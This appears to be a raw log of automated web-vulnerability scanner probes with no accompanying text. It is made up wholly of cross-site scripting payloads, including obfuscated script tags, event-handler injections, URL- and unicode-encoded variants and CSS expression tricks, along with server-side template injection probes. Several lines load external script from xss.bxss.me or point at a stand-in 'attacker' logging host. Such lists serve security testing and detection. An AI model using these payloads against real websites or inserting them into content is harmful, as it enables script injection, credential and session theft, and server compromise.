555<img sRc='http://attacker-9907/log.php?

555<ScRiPt >b6fN(9874)</ScRiPt>

555<isindex type=image src=1 onerror=ThyG(9787)>

555\u003CScRiPt\0tvd(9310)\u003C/sCripT\u003E

555<aqn3oRe x=9743>

555<svg  \xa0onload=sBN4(9908)

5559097094

555<iframe src='data:text/html

555<aNDE5GA<

555&lt

555<ai8FQY7<

555<WPTXOU>IXQF2[!+!]</WPTXOU>

bfg9156\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9156

555<isindex type=image src=1 onerror=sBN4(9649)>

555<body onload=ThyG(9330)>

555<img sRc='http://attacker-9694/log.php?

555'"()&%<zzz><ScRiPt >U7vA(9155)</ScRiPt>

\xf6<img zzz onmouseover=0tvd(91641) //\xf6>

bfgx2936\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2936

555<script>b6fN(9673)</script>

555<aMMzqsu<

555<img src=//xss.bxss.me/t/dot.gif onload=ThyG(9316)>

555<iframe src='data:text/html

'"()&%<zzz><ScRiPt >U7vA(9037)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<script>b6fN(9650)</script>9650

555<input autofocus onfocus=0tvd(9566)>

555<img src=xyz OnErRor=ThyG(9881)>

5559855380

555<body onload=sBN4(9754)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=sBN4(9557)>

555<img/src=">" onerror=alert(9477)>

555<ScR<ScRiPt>IpT>b6fN(9449)</sCr<ScRiPt>IpT>

bfg8523\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8523

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

bfgx10634\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10634

555<ScRiPt >b6fN(9763)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%68%79%47%289706%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=sBN4(9091)>

555

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\ThyG(9538)\u003C/sCripT\u003E

555}body{zzz:Expre/**/SSion(0tvd(9389))}

<%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9722)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9313></ScRiPt>

555&lt

555

555WM1FF <ScRiPt >0tvd(9814)</ScRiPt>

555

555<ScRiPt >b6fN(9865)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%42%4E%34%289706%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=ThyG(92371) //\xf6>

555<WNJLYL>PT6JW[!+!]</WNJLYL>

<th:t="${dfb}#foreach

555<svg  \xa0onload=b6fN(9183)

dfb{{98991*97996}}xca

555\u003CScRiPt\sBN4(9617)\u003C/sCripT\u003E

555<ifRAme sRc=9422.com></IfRamE>

555<isindex type=image src=1 onerror=b6fN(9475)>

555<input autofocus onfocus=ThyG(9252)>

555<aBGXOuj x=9365>

dfb[[${98991*97996}]]xca

555

555&lt

<a HrEF=http://xss.bxss.me></a>

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9755/log.php?

555<body onload=b6fN(9018)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=sBN4(93481) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=b6fN(9767)>

555

555<ScRiPt >3cJr(9631)</ScRiPt>

555<agM5GmK<

555<input autofocus onfocus=sBN4(9811)>

555}body{zzz:Expre/**/SSion(ThyG(9898))}

555<WCUJBM>5LC96[!+!]</WCUJBM>

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=b6fN(9011)>

555Vb9DR <ScRiPt >ThyG(9049)</ScRiPt>

dfb[[${98991*97996}]]xca

555<script>3cJr(9578)</script>

<a HrEF=jaVaScRiPT:>

555<img/src=">" onerror=alert(9892)>

555<WXYILH>KPLTL[!+!]</WXYILH>

dfb__${98991*97996}__::.x

555<script>3cJr(9853)</script>9853

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(sBN4(9255))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%36%66%4E%289009%29%3C%2F%73%43%72%69%70%54%3E

555<ifRAme sRc=9657.com></IfRamE>

5558C5w0 <ScRiPt >sBN4(9543)</ScRiPt>

555\u003CScRiPt\b6fN(9717)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>3cJr(9372)</sCr<ScRiPt>IpT>

555<ScRiPt >U7vA(9251)</ScRiPt>

555&lt

555<W0IS9Q>JZM7G[!+!]</W0IS9Q>

555<WFIUHT>NSD3D[!+!]</WFIUHT>

555<acbLyyO x=9934>

555<ScRiPt >3cJr(9549)</ScRiPt>

555<ifRAme sRc=9541.com></IfRamE>

\xf6<img zzz onmouseover=b6fN(98701) //\xf6>

555<script>U7vA(9423)</script>

555<a6Yooop x=9559>

555<img sRc='http://attacker-9787/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9043></ScRiPt>

555<script>U7vA(9378)</script>9378

555<input autofocus onfocus=b6fN(9766)>

555<img sRc='http://attacker-9672/log.php?

555<ScRiPt >3cJr(9399)</ScRiPt>

555<aVCm7VH<

<a HrEF=http://xss.bxss.me></a>

555<ajDuFmz<

555<svg  \xa0onload=3cJr(9927)

555<ScR<ScRiPt>IpT>U7vA(9810)</sCr<ScRiPt>IpT>

555<isindex type=image src=1 onerror=3cJr(9274)>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >U7vA(9306)</ScRiPt>

555}body{zzz:Expre/**/SSion(b6fN(9839))}

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9892></ScRiPt>

555OntLj <ScRiPt >b6fN(9655)</ScRiPt>

555<body onload=3cJr(9414)>

555<ScRiPt >U7vA(9551)</ScRiPt>

555<WXF1MO>A1LS5[!+!]</WXF1MO>

555<img src=//xss.bxss.me/t/dot.gif onload=3cJr(9067)>

555<svg  \xa0onload=U7vA(9602)

555<img src=xyz OnErRor=3cJr(9254)>

555<ifRAme sRc=9843.com></IfRamE>

555<isindex type=image src=1 onerror=U7vA(9700)>

555<img/src=">" onerror=alert(9256)>

555<aBHD7Q3 x=9679>

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%63%4A%72%289230%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9223/log.php?

555<body onload=U7vA(9834)>

555<azvOV4j<

555\u003CScRiPt\3cJr(9411)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=U7vA(9194)>

555&lt

555'"()&%<zzz><ScRiPt >hpLr(9870)</ScRiPt>

555<img src=xyz OnErRor=U7vA(9533)>

'"()&%<zzz><ScRiPt >hpLr(9518)</ScRiPt>

\xf6<img zzz onmouseover=3cJr(96801) //\xf6>

555<img/src=">" onerror=alert(9222)>

5559858820

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%37%76%41%289673%29%3C%2F%73%43%72%69%70%54%3E

555<input autofocus onfocus=3cJr(9607)>

bfg1365\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1365

555\u003CScRiPt\U7vA(9081)\u003C/sCripT\u003E

<a HrEF=http://xss.bxss.me></a>

bfgx4847\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4847

<a HrEF=jaVaScRiPT:>

555&lt

<%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=U7vA(93611) //\xf6>

555}body{zzz:Expre/**/SSion(3cJr(9117))}

555

5556Lyed <ScRiPt >3cJr(9119)</ScRiPt>

555<input autofocus onfocus=U7vA(9353)>

<th:t="${dfb}#foreach

555<WLWWHJ>VCVPA[!+!]</WLWWHJ>

<a HrEF=http://xss.bxss.me></a>

555

<a HrEF=jaVaScRiPT:>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ifRAme sRc=9567.com></IfRamE>

555

555}body{zzz:Expre/**/SSion(U7vA(9327))}

555<aQvwswJ x=9424>

dfb{{98991*97996}}xca

555bC6Gk <ScRiPt >U7vA(9135)</ScRiPt>

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555bC6Gk <ScRiPt >U7vA(9135)</ScRiPt>

555<ScRiPt >hpLr(9554)</ScRiPt>

555<WYKA7V>BDHVH[!+!]</WYKA7V>

555<img sRc='http://attacker-9948/log.php?

555<WDMMLX>PPG57[!+!]</WDMMLX>

555<ifRAme sRc=9146.com></IfRamE>

555<aw5hA12<

555<script>hpLr(9247)</script>

555<aqrwGb1 x=9121>

555'"()&%<zzz><ScRiPt >qAZY(9360)</ScRiPt>

555<script>hpLr(9329)</script>9329

'"()&%<zzz><ScRiPt >qAZY(9048)</ScRiPt>

555<img sRc='http://attacker-9059/log.php?

555'"()&%<zzz><ScRiPt >da3f(9892)</ScRiPt>

555'"()&%<zzz><ScRiPt >amyJ(9733)</ScRiPt>

555<ScR<ScRiPt>IpT>hpLr(9947)</sCr<ScRiPt>IpT>

5559336349

'"()&%<zzz><ScRiPt >amyJ(9042)</ScRiPt>

555<asZxCwf<

555<ScRiPt >hpLr(9278)</ScRiPt>

'"()&%<zzz><ScRiPt >da3f(9799)</ScRiPt>

bfg1242\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1242

5559874471

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9004></ScRiPt>

bfgx4803\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4803

bfg6925\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6925

555<ScRiPt >hpLr(9178)</ScRiPt>

5559222739

<%={{={@{#{${dfb}}%>

bfg9143\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9143

bfgx6903\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6903

555<svg  \xa0onload=hpLr(9140)

555

bfgx7772\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7772

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=hpLr(9833)>

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555

555

555

555<body onload=hpLr(9648)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555

555<img src=//xss.bxss.me/t/dot.gif onload=hpLr(9080)>

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=hpLr(9626)>

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9119)>

555

dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >P0XV(9356)</ScRiPt>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%70%4C%72%289718%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >P0XV(9102)</ScRiPt>

555<ScRiPt >qAZY(9997)</ScRiPt>

dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WVFA9K>FAZVJ[!+!]</WVFA9K>

555\u003CScRiPt\hpLr(9791)\u003C/sCripT\u003E

5559080428

dfb__${98991*97996}__::.x

555<ScRiPt >da3f(9516)</ScRiPt>

555&lt

555'"()&%<zzz><ScRiPt >8HGE(9812)</ScRiPt>

bfg10621\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10621

555'"()&%<zzz><ScRiPt >Srn1(9662)</ScRiPt>

555<script>qAZY(9906)</script>

555<WQ6FFF>TFOWD[!+!]</WQ6FFF>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfgx3615\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3615

'"()&%<zzz><ScRiPt >8HGE(9601)</ScRiPt>

\xf6<img zzz onmouseover=hpLr(93381) //\xf6>

'"()&%<zzz><ScRiPt >Srn1(9045)</ScRiPt>

555<script>da3f(9859)</script>

555<script>qAZY(9526)</script>9526

555<ScRiPt >amyJ(9818)</ScRiPt>

555<input autofocus onfocus=hpLr(9335)>

5559141588

<%={{={@{#{${dfb}}%>

bfg4446\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4446

5559720427

555

555<WZU5BO>WVI5G[!+!]</WZU5BO>

555<script>da3f(9240)</script>9240

555<ScR<ScRiPt>IpT>qAZY(9878)</sCr<ScRiPt>IpT>

bfg7292\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7292

<th:t="${dfb}#foreach

<a HrEF=http://xss.bxss.me></a>

555<ScR<ScRiPt>IpT>da3f(9982)</sCr<ScRiPt>IpT>

555<ScRiPt >qAZY(9649)</ScRiPt>

bfgx8546\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8546

bfgx6584\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6584

<a HrEF=jaVaScRiPT:>

555<ScRiPt >da3f(9188)</ScRiPt>

555<script>amyJ(9834)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9746></ScRiPt>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9493></ScRiPt>

555<ScRiPt >qAZY(9734)</ScRiPt>

555

555<ScRiPt >da3f(9548)</ScRiPt>

555<svg  \xa0onload=qAZY(9559)

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555<script>amyJ(9888)</script>9888

555}body{zzz:Expre/**/SSion(hpLr(9000))}

555

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=da3f(9380)

555

555<isindex type=image src=1 onerror=da3f(9942)>

dfb__${98991*97996}__::.x

555<ScR<ScRiPt>IpT>amyJ(9062)</sCr<ScRiPt>IpT>

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=qAZY(9686)>

<th:t="${dfb}#foreach

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555jAyAh <ScRiPt >hpLr(9436)</ScRiPt>

555<iframe src='data:text/html

555<body onload=da3f(9112)>

555<ScRiPt >amyJ(9309)</ScRiPt>

555<ScRiPt >P0XV(9792)</ScRiPt>

555

555

555<W3IZKZ>WODNR[!+!]</W3IZKZ>

555<body onload=qAZY(9693)>

555<W9XEQV>DDZOY[!+!]</W9XEQV>

555<img src=//xss.bxss.me/t/dot.gif onload=da3f(9085)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9776></ScRiPt>

dfb[[${98991*97996}]]xca

555<img src=xyz OnErRor=da3f(9523)>

555<ifRAme sRc=9377.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=qAZY(9514)>

555<script>P0XV(9461)</script>

dfb__${98991*97996}__::.x

555<ScRiPt >amyJ(9137)</ScRiPt>

555<img/src=">" onerror=alert(9384)>

555

555<aMzIQuD x=9731>

555<img src=xyz OnErRor=qAZY(9674)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%64%61%33%66%289487%29%3C%2F%73%43%72%69%70%54%3E

555<script>P0XV(9374)</script>9374

555<svg  \xa0onload=amyJ(9136)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9735/log.php?

555<ScR<ScRiPt>IpT>P0XV(9603)</sCr<ScRiPt>IpT>

555<ScRiPt >8HGE(9146)</ScRiPt>

555<akNUKlH<

dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9032)>

555\u003CScRiPt\da3f(9902)\u003C/sCripT\u003E

555<ScRiPt >P0XV(9364)</ScRiPt>

555<isindex type=image src=1 onerror=amyJ(9610)>

dfb__${98991*97996}__::.x

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9457></ScRiPt>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WYLTVJ>OLU93[!+!]</WYLTVJ>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%41%5A%59%289067%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

\xf6<img zzz onmouseover=da3f(91971) //\xf6>

555<ScRiPt >Srn1(9767)</ScRiPt>

555<script>8HGE(9876)</script>

555<ScRiPt >P0XV(9297)</ScRiPt>

555<input autofocus onfocus=da3f(9985)>

555<svg  \xa0onload=P0XV(9275)

555<body onload=amyJ(9510)>

555\u003CScRiPt\qAZY(9619)\u003C/sCripT\u003E

555<script>8HGE(9685)</script>9685

555<WXRVKP>CUVEI[!+!]</WXRVKP>

555&lt

555<isindex type=image src=1 onerror=P0XV(9076)>

<a HrEF=http://xss.bxss.me></a>

555<img src=//xss.bxss.me/t/dot.gif onload=amyJ(9271)>

555<ScR<ScRiPt>IpT>8HGE(9297)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

555<script>Srn1(9556)</script>

555<iframe src='data:text/html

555}body{zzz:Expre/**/SSion(da3f(9767))}

\xf6<img zzz onmouseover=qAZY(91701) //\xf6>

555<ScRiPt >8HGE(9533)</ScRiPt>

555<img src=xyz OnErRor=amyJ(9237)>

555<script>Srn1(9290)</script>9290

555<input autofocus onfocus=qAZY(9291)>

5555DoIB <ScRiPt >da3f(9705)</ScRiPt>

555<img/src=">" onerror=alert(9274)>

555<body onload=P0XV(9972)>

555<ScR<ScRiPt>IpT>Srn1(9396)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9957></ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >Srn1(9687)</ScRiPt>

555<WTKDEV>EC6BH[!+!]</WTKDEV>

%35%35%35%3C%53%63%52%69%50%74%20%3E%61%6D%79%4A%289818%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >8HGE(9682)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9952.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9447></ScRiPt>

555\u003CScRiPt\amyJ(9082)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=P0XV(9904)>

555<svg  \xa0onload=8HGE(9996)

555<aRHyXuc x=9661>

555}body{zzz:Expre/**/SSion(qAZY(9271))}

555<img sRc='http://attacker-9661/log.php?

555&lt

555<isindex type=image src=1 onerror=8HGE(9696)>

\xf6<img zzz onmouseover=amyJ(94621) //\xf6>

555<ScRiPt >Srn1(9410)</ScRiPt>

555<img src=xyz OnErRor=P0XV(9028)>

555<svg  \xa0onload=Srn1(9061)

555<input autofocus onfocus=amyJ(9515)>

555<aR8BSUw<

555A3NiN <ScRiPt >qAZY(9829)</ScRiPt>

555<img/src=">" onerror=alert(9837)>

555<iframe src='data:text/html

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%50%30%58%56%289416%29%3C%2F%73%43%72%69%70%54%3E

555<isindex type=image src=1 onerror=Srn1(9056)>

555<body onload=8HGE(9819)>

<a HrEF=jaVaScRiPT:>

555<WDPKNK>CW4MC[!+!]</WDPKNK>

555}body{zzz:Expre/**/SSion(amyJ(9841))}

555<img src=//xss.bxss.me/t/dot.gif onload=8HGE(9860)>

555<iframe src='data:text/html

555\u003CScRiPt\P0XV(9387)\u003C/sCripT\u003E

555WD35S <ScRiPt >amyJ(9361)</ScRiPt>

555'"()&%<zzz><ScRiPt >CTU8(9398)</ScRiPt>

555<body onload=Srn1(9498)>

555<img src=xyz OnErRor=8HGE(9695)>

555<ifRAme sRc=9405.com></IfRamE>

555'"()&%<zzz><ScRiPt >3j72(9152)</ScRiPt>

555&lt

555<img/src=">" onerror=alert(9524)>

555<WABARB>238XB[!+!]</WABARB>

555<ahzeLg3 x=9235>

\xf6<img zzz onmouseover=P0XV(98761) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=Srn1(9857)>

'"()&%<zzz><ScRiPt >CTU8(9824)</ScRiPt>

'"()&%<zzz><ScRiPt >3j72(9774)</ScRiPt>

555<img sRc='http://attacker-9643/log.php?

%35%35%35%3C%53%63%52%69%50%74%20%3E%38%48%47%45%289431%29%3C%2F%73%43%72%69%70%54%3E

555<ifRAme sRc=9880.com></IfRamE>

5559530647

5559664422

555<input autofocus onfocus=P0XV(9316)>

555<azBjNjm<

555\u003CScRiPt\8HGE(9904)\u003C/sCripT\u003E

555<a6fKJcP x=9244>

555<img src=xyz OnErRor=Srn1(9142)>

bfg6866\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6866

555&lt

bfg2721\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2721

<a HrEF=http://xss.bxss.me></a>

555<img/src=">" onerror=alert(9579)>

bfgx5242\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5242

bfgx2902\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2902

\xf6<img zzz onmouseover=8HGE(90431) //\xf6>

555'"()&%<zzz><ScRiPt >3JO5(9680)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<img sRc='http://attacker-9590/log.php?

'"()&%<zzz><ScRiPt >3JO5(9782)</ScRiPt>

555}body{zzz:Expre/**/SSion(P0XV(9107))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%72%6E%31%289279%29%3C%2F%73%43%72%69%70%54%3E

5559524145

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<aJtdHnR<

555<input autofocus onfocus=8HGE(9441)>

bfg9795\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9795

555

555\u003CScRiPt\Srn1(9744)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >HQfr(9275)</ScRiPt>

555bnuNG <ScRiPt >P0XV(9964)</ScRiPt>

bfgx9373\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9373

<th:t="${dfb}#foreach

555&lt

'"()&%<zzz><ScRiPt >HQfr(9481)</ScRiPt>

555<WU9JTS>5T3KZ[!+!]</WU9JTS>

555

<a HrEF=http://xss.bxss.me></a>

555'"()&%<zzz><ScRiPt >tsex(9452)</ScRiPt>

555

\xf6<img zzz onmouseover=Srn1(91261) //\xf6>

555<ifRAme sRc=9922.com></IfRamE>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

<a HrEF=jaVaScRiPT:>

'"()&%<zzz><ScRiPt >tsex(9911)</ScRiPt>

5559000216

555'"()&%<zzz><ScRiPt >73D3(9773)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<aOdj6P5 x=9552>

555<img sRc='http://attacker-9810/log.php?

555<input autofocus onfocus=Srn1(9923)>

555

bfg7382\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7382

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<aFdrJRx<

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >73D3(9852)</ScRiPt>

bfgx9519\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9519

555}body{zzz:Expre/**/SSion(8HGE(9803))}

555

5559373201

555

5559589328

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555Qcbp3 <ScRiPt >8HGE(9498)</ScRiPt>

555'"()&%<zzz><ScRiPt >Q2tS(9785)</ScRiPt>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfg7606\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7606

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(Srn1(9563))}

'"()&%<zzz><ScRiPt >Q2tS(9258)</ScRiPt>

bfg3565\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3565

555<WFQKC0>J1IZP[!+!]</WFQKC0>

555

dfb{98991*97996}xca

5559722679

bfgx8460\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8460

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

dfb${98991*97996}xca

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555qEyYH <ScRiPt >Srn1(9111)</ScRiPt>

bfg2217\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2217

dfb__${98991*97996}__::.x

bfgx1228\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1228

dfb__${98991*97996}__::.x

555<ifRAme sRc=9325.com></IfRamE>

dfb#{98991*97996}xca

<th:t="${dfb}#foreach

bfgx7706\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7706

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<a5p9uuB x=9159>

<%={{={@{#{${dfb}}%>

555<WNSKPP>RSWVU[!+!]</WNSKPP>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9484/log.php?

555<ScRiPt >CTU8(9161)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

dfb{#98991*97996}xca

555<ifRAme sRc=9950.com></IfRamE>

555

<th:t="${dfb}#foreach

555<a8DL1bK<

555

555

555<ScRiPt >3j72(9489)</ScRiPt>

555<apmNxP9 x=9729>

555

555<WNDEFU>7EQKI[!+!]</WNDEFU>

555'"()&%<zzz><ScRiPt >cPeg(9914)</ScRiPt>

dfb{@98991*97996}xca

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9103/log.php?

'"()&%<zzz><ScRiPt >cPeg(9416)</ScRiPt>

555

555<script>CTU8(9422)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<ajAHgOu<

555<WUJDXI>LCCB0[!+!]</WUJDXI>

dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

555

5559458934

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb@(98991*97996)xca

555<script>CTU8(9138)</script>9138

bfg9367\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9367

555'"()&%<zzz><ScRiPt >XcXJ(9098)</ScRiPt>

555<script>3j72(9102)</script>

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

555<ScR<ScRiPt>IpT>CTU8(9297)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >XcXJ(9206)</ScRiPt>

555'"()&%<zzz><ScRiPt >SCrt(9376)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>3j72(9542)</script>9542

bfgx4801\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4801

555

dfb<%=98991*97996%>xca

'"()&%<zzz><ScRiPt >SCrt(9207)</ScRiPt>

5559835293

555<ScR<ScRiPt>IpT>3j72(9250)</sCr<ScRiPt>IpT>

555<ScRiPt >73D3(9727)</ScRiPt>

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

5559306178

555<WYGT5D>XJOPT[!+!]</WYGT5D>

555<ScRiPt >CTU8(9784)</ScRiPt>

555

"}}dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >3j72(9415)</ScRiPt>

bfg9161\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9161

bfg3655\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3655

dfb#set($x=98991*97996)${x}xca

555<ScRiPt >HQfr(9269)</ScRiPt>

555<script>73D3(9143)</script>

"%}dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9428></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{"abc"|title}}xca

555<script>73D3(9113)</script>9113

"}dfb{98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9338></ScRiPt>

555<ScRiPt >3j72(9223)</ScRiPt>

555

555<WIQ3AN>WFHS8[!+!]</WIQ3AN>

bfgx9006\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9006

print("dfb" . 98991*97996 . "xca")

555<ScR<ScRiPt>IpT>73D3(9292)</sCr<ScRiPt>IpT>

555<ScRiPt >Q2tS(9378)</ScRiPt>

bfgx7115\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7115

"}dfb${98991*97996}xca

555<svg  \xa0onload=3j72(9318)

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >73D3(9862)</ScRiPt>

98991*97996*98991*97996

555<WD2HII>EC6BS[!+!]</WD2HII>

